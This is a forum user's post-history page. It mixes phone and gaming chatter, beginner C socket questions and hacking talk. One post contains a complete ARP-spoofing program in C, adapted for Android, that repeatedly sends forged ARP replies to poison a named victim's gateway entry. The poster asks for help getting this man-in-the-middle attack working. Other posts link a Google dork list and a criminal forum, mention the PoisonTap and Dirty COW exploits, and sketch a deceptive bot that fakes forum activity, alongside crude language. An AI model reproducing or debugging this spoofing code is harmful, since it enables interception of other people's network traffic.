User Controls

  1. 1
  2. 2
  3. 3
  4. ...
  5. 120
  6. 121
  7. 122
  8. 123
  9. 124
  10. 125
  11. ...
  12. 155
  13. 156
  14. 157
  15. 158

Posts by SBTlauien

  1. SBTlauien African Astronaut
    Honestly, I think gaming is best on consoles. It just makes more sense to me.

    Maybe someday they make a lightweight OS that is strictly for gaming, then gamers can just boot into it when they want to play. Or is this what 'SteamOS' is? I really don't game much but I am looking at buying a gaming laptop...
  2. SBTlauien African Astronaut
    Looking into it more, I used Wireshark on the machine I was attacking and saw that the packets are definitely being sent. I just can't figure out why it doesn't work like the executable that I found. With the executable, I can run two each as their own process(swapping IP addresses for the arguments in each), then run my packet capturing excutable, and see packets the match whatever HTTP site I visit(although they aren't perfectly clear, which I think may have to do with my parsing).
  3. SBTlauien African Astronaut
    At least he wasn't kidnapped and beaten. Good thing they caught them though. They cut his hair so it might be a mutilation charge. Kidnapping, torture, mutilation...hopefully 50+ year sentences.

    http://www.documentingreality.com/forum/f225/kidnapped-forced-say-fuck-white-people-170472/
  4. SBTlauien African Astronaut
    I stopped doing Windows about three years ago. I use to occasionally boot up Windows 7 due to certain software only being available for Windows, and everytime I thought 'what a steamy pile of shit'. Linux > Windows for those that are more technical, but I guess for a typical user/gamer, Windows serves a purpose.

    I had always thought that...

    Windows == Business Use
    Linux == Technical Use
    Mac == Leisure/Hobby Use
  5. SBTlauien African Astronaut
    Looks like Plone is downplaying it until they patch it.

    I wonder if it'll ever be legal to hack the FBI if the FBI hacks first. Like if I don't do anything illegal but get stuck with some of that FBI malware, I should be able to defend myself by hacking back.
  6. SBTlauien African Astronaut
    What about a bot that posts on a forum by copying posts/threads from other forums, using multiple user names that are different than the usernames on the forums it's copying from and changes certain words that have the same meaning, to avoid detection?

    Basically making a forum look alive.

    Makes so that it also will copy threads/posts that legit users make on its own forum, to other forums, and then copies the legit replies on those forum back to its own forum. So that any legit users will be engaged in a conversation that is actually happening elsewhere but appears to be on the bots forum.

    This type of shit is going to fuck up the internet...
  7. SBTlauien African Astronaut
    Originally posted by aldra I think you SHOULD be able to copy the string from the pointer into a character array and pass that to the socket thus:



    int main(int argc, char ** argv)
    {
    char firstParam[256];
    char secondParam[256];

    strncpy(firstParam,argv[1]);
    strncpy(secondParam,argv[2]);

    socket_fd = socket(firstParam, secondParam, 0);

    }

    I had tried this and some other things. None worked. The problem, like Lanny said, is that "AF_INET", "SOCK_STREAM", and all of the others, are just integers. I think the compiler just uses them as a reference. So getting my char* to one of those integers is going to be easiest just leaving my long if-elseif statement. I thought about a switch-case but it was more of a curiosity.

    Next question...

    Why won't this little arpspoof program work? I found the code on github and liked it because it doesn't use the pcap library which I couldn't get to compile for Android. I modified it a lot, mainly cutting out large sections(reducing it to 134 lines), and setting it up so that I feed it information rather than it trying to find it out for me. For Android, I did have to use a third-party implementation for "ifaddrs.h" because Android's C library(Bionic) does not have it. I already have an arpspoof working executable for Android but I wanted to compile my own. Also, I tried running this individually, and I tried running it in two shells at the same time with the attacker/victim addresses swapped. Neither worked, although it does appear to be running but I didn't even notice a slowdown on the network.

    Edit: Forgot to add that I had to add in the struct "arp_header" because I couldn't figure out what include was missing(if that was the problem)...

    https://github.com/smikims/arpspoof/blob/master/arpspoof.c

    https://github.com/morristech/android-ifaddrs


    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <errno.h>
    #include <ifaddrs.h>
    #include <sys/socket.h>
    #include <sys/ioctl.h>
    #include <net/if.h>
    #include <arpa/inet.h>
    #include <netpacket/packet.h>
    #include <netinet/if_ether.h>

    struct arp_header{
    unsigned short int hardware_type;
    unsigned short int protocol_type;
    unsigned char hardware_len;
    unsigned char protocol_len;
    unsigned short int opcode;
    unsigned char sender_mac[6];
    unsigned char sender_ip[4];
    unsigned char target_mac[6];
    unsigned char target_ip[4];
    };

    void die(const char *error) {
    fprintf(stderr, "Error: %s\n", error);
    exit(EXIT_FAILURE);
    }

    void print_addrs(uint32_t ip) {
    printf("%s\n", inet_ntoa((struct in_addr) { .s_addr = ip }));
    }

    void print_mac(unsigned int *mac) {
    printf("%02x:%02x:%02x:%02x:%02x:%02x\n", (unsigned char) mac[0], (unsigned char) mac[1], (unsigned char) mac[2],
    (unsigned char) mac[3], (unsigned char) mac[4], (unsigned char) mac[5]);
    }

    void set_ifr_name(struct ifreq *ifr, const char *if_name) {
    size_t if_name_len = strlen(if_name);
    if (if_name_len < sizeof(ifr->ifr_name)) {
    memcpy(ifr->ifr_name, if_name, if_name_len);
    ifr->ifr_name[if_name_len] = 0;
    } else {
    die("INTERFACE NAME IS TOO LONG");
    }
    }

    int get_ifr_ifindex(int fd, struct ifreq *ifr) {
    if (ioctl(fd, SIOCGIFINDEX, ifr) == -1) {
    die(strerror(errno));
    }
    return ifr->ifr_ifindex;
    }

    void get_ifr_hwaddr(int fd, struct ifreq *ifr) {
    if (ioctl(fd, SIOCGIFHWADDR, ifr) == -1) {
    die(strerror(errno));
    }
    if (ifr->ifr_hwaddr.sa_family != ARPHRD_ETHER) {
    die("NOT AN ETHERNET INTERFACE");
    }
    }

    void arp_spoof(int fd, const char *if_name, const unsigned int *attacker_mac, uint32_t gateway_ip, const unsigned int *victim_mac, uint32_t victim_ip) {
    struct arp_header resp;
    struct ifreq ifr;
    set_ifr_name(&ifr, if_name);

    struct sockaddr_ll addr = { 0 };
    addr.sll_family = AF_PACKET;
    addr.sll_ifindex = get_ifr_ifindex(fd, &ifr);
    addr.sll_halen = ETHER_ADDR_LEN;
    addr.sll_protocol = htons(ETH_P_ARP);
    memcpy(addr.sll_addr, victim_mac, ETHER_ADDR_LEN);

    resp.hardware_type = htons(ARPHRD_ETHER);
    resp.protocol_type = htons(ETH_P_IP);
    resp.hardware_len = ETHER_ADDR_LEN;
    resp.protocol_len = sizeof(in_addr_t);
    resp.opcode = htons(ARPOP_REPLY);

    memcpy(&resp.sender_mac, attacker_mac, sizeof(resp.sender_mac));
    memcpy(&resp.sender_ip, &gateway_ip, sizeof(resp.sender_ip));
    memcpy(&resp.target_mac, victim_mac, sizeof(resp.target_mac));
    memcpy(&resp.target_ip, &victim_ip, sizeof(resp.target_ip));

    if (sendto(fd, &resp, sizeof(resp), 0, (struct sockaddr *) &addr, sizeof(addr)) == -1) {
    die(strerror(errno));
    }
    }

    int main(int argc, char *argv[]) {
    unsigned int attacker_mac[6], victim_mac[6];
    struct in_addr ip_addr = { 0 };

    inet_aton(argv[1], &ip_addr);
    uint32_t attacker_ip = ip_addr.s_addr;
    sscanf(argv[2], "%x:%x:%x:%x:%x:%x", &attacker_mac[0], &attacker_mac[1], &attacker_mac[2], &attacker_mac[3], &attacker_mac[4], &attacker_mac[5]);
    inet_aton(argv[3], &ip_addr);
    uint32_t victim_ip = ip_addr.s_addr;
    sscanf(argv[4], "%x:%x:%x:%x:%x:%x", &victim_mac[0], &victim_mac[1], &victim_mac[2], &victim_mac[3], &victim_mac[4], &victim_mac[5]);
    inet_aton(argv[5], &ip_addr);
    uint32_t gateway_ip = ip_addr.s_addr;
    char *if_name = argv[6];
    int repeat = atoi(argv[7]);

    /* get an ARP socket */
    int fd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
    if (fd == -1) {
    die(strerror(errno));
    }

    printf("IP ADDRESS:\t\t");
    print_addrs(attacker_ip);
    printf("MAC ADDRESS:\t\t");
    print_mac(attacker_mac);
    printf("VICTIM IP ADDRESS:\t");
    print_addrs(victim_ip);
    printf("VICTIM MAC ADDRESS:\t");
    print_mac(victim_mac);
    printf("GATEWAY:\t\t");
    print_addrs(gateway_ip);
    printf("INTERFACE:\t%s\n", if_name);

    while (1) {
    arp_spoof(fd, if_name, attacker_mac, gateway_ip, victim_mac, victim_ip);
    sleep(repeat);
    };

    free(if_name);
    return EXIT_SUCCESS;
    }
    [\code]

    [i]Post last edited by SBTlauien at 2017-01-06T10:24:17.837140+00:00[/i]
  8. SBTlauien African Astronaut
    Originally posted by Merlin are you doing the Beej Networking book by chance?

    No sir. Just a little packet sniffing program for Android. It works but the long if-elseif statements make it over 1000 lines of code. I only made it that way for experimenting with sockets on my devices.

    Originally posted by Lanny As for getting it into something you can pass to setsockopt() you can't just pass the arg since, as mentioned, it's a string. `AF_INET` is just an integer that has some meaning to the socket library. You need to parse your arg list and figure out what each arg means yourself (you can't do it dynamically because the relationship between the string "AF_INET" and the constant is lost in compilation).

    So in other words, my long if-elseif is the way to go...?

    Originally posted by Sophie I should really pick up C at some point.

    I suggest it. It's lower level than Python, portable, and fast. But it's a bit of a bitch learning. The whole pointer concept confused me until a few days ago.
  9. SBTlauien African Astronaut
    Originally posted by aldra it might just be too early in the morning but I'm not following what you're trying to accomplish

    I'd like start my program by running a command similar to this...

    "./my program AF_INET SOCK_STREAM"

    Where "AF_INET" and "SOCK_STREAM" are arguments into my program and are also used as arguments to socket().
  10. SBTlauien African Astronaut
    Don't laugh, I just started jumping into C.

    Is it possible(and if so, how) to send in an argument to my main program, as one of the arguments to a function like 'socket()', 'setsockopt()', etc? The arguments sent to main would be a String constant(I believe), so I would need to change that into a macro(I think that's what it's called).

    Example...


    int main(int argc, char ** argv) {
    socket_fd = socket(argv[1], argv[2], 0);
    .....
    ...
    .


    Edit: I'm currently using a long if-elseif statement.
  11. SBTlauien African Astronaut
    John Nelson.
  12. SBTlauien African Astronaut
    A penny here a penny there. Most likely Pakistan people. Just use an ad blocker like the rest of us.
  13. SBTlauien African Astronaut
    https://github.com/chr1sk0n/GoolagScanner/blob/master/GoolagScanner/DorkData/gdorks.xml
  14. SBTlauien African Astronaut
    Originally posted by Sophie Sweet i am planning on doing this with it. https://samy.pl/poisontap/

    I think I'll do the same...
  15. SBTlauien African Astronaut
    https://darkode.cc/

    but...

    https://www.malwaretech.com/2015/07/darkode-returns-following-internationa.html
  16. SBTlauien African Astronaut
    I went with the HTC A9. I think it's better than S4.

    http://m.gsmarena.com/compare.php3?idPhone1=7576&idPhone2=5125&
  17. SBTlauien African Astronaut
    Originally posted by Hash Slinging Slasher My galaxy S4 is starting to mess up and I will probably just get another S4

    You can buy a brand new one for like $150

    Unfortunately for me, this phone isn't available anywhere for BoostMobile. I'm probably going to go get the LG Stylus 2. It doesn't look gay like this gold colored phone and it's a little bit faster, about the same price. No NFC though. No root options available right now but it looks like the Dirty Copy On Write exploit is what 'they.ve' been using to root phones in the basic rooting software people use. I compiled it a while back and tried it out on a non-root phone of mine without success. A port of Cynagenmod isn't that big of a deal, but root is.
  18. SBTlauien African Astronaut
    Dropped my beloved phone and the screen broke. I went to Best Buy and bought a temporary replacement phone(Samsung Galaxy J3) for about $60 but the girl said that I have two weeks to return it if I don't like it.

    I'm not sure if I sould buy another Galaxy S4(which is what I broke) or look for something else. I asked on Reddit if I could reflash my backup to a new phone, in case I do buy another S4.

    What phone would you suggest?

    Requirments
    -Has to be Boost Mobile(Sprint) compatible
    -Root Access Method Available
    -Around $200 or less
    -Cyangenmod - This is more prefered than required
    -Darker Colored(preferably black) - this is less of a requirment though

    ):
  19. SBTlauien African Astronaut
    Originally posted by SCronaldo_J_Trump SpectraL will start his own forum when this one fails.

    No because as I said above, "we're all spectral alts".
  20. SBTlauien African Astronaut
    Registered Sex Offender type of shit.
  1. 1
  2. 2
  3. 3
  4. ...
  5. 120
  6. 121
  7. 122
  8. 123
  9. 124
  10. 125
  11. ...
  12. 155
  13. 156
  14. 157
  15. 158
Jump to Top